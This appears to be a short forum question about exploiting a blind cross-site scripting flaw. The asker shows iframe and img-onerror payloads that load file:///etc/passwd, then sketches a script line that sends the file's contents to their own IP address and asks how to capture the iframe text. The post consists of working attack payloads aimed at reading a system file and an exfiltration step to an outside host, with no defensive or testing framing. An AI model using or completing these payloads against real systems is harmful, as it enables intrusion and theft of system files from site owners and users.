when i do one of this payloads i can see /etc/passwd
<iframe src=file:///etc/passwd></iframe>
<img src="https://security.stackexchange.com/xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
however this i got blind xss so i need to send the iframe text back to me so i need to grub the iframe text and do something like <script>document.location.href = 'http://my_ip/' + iframe_text
how can i get the iframe text?
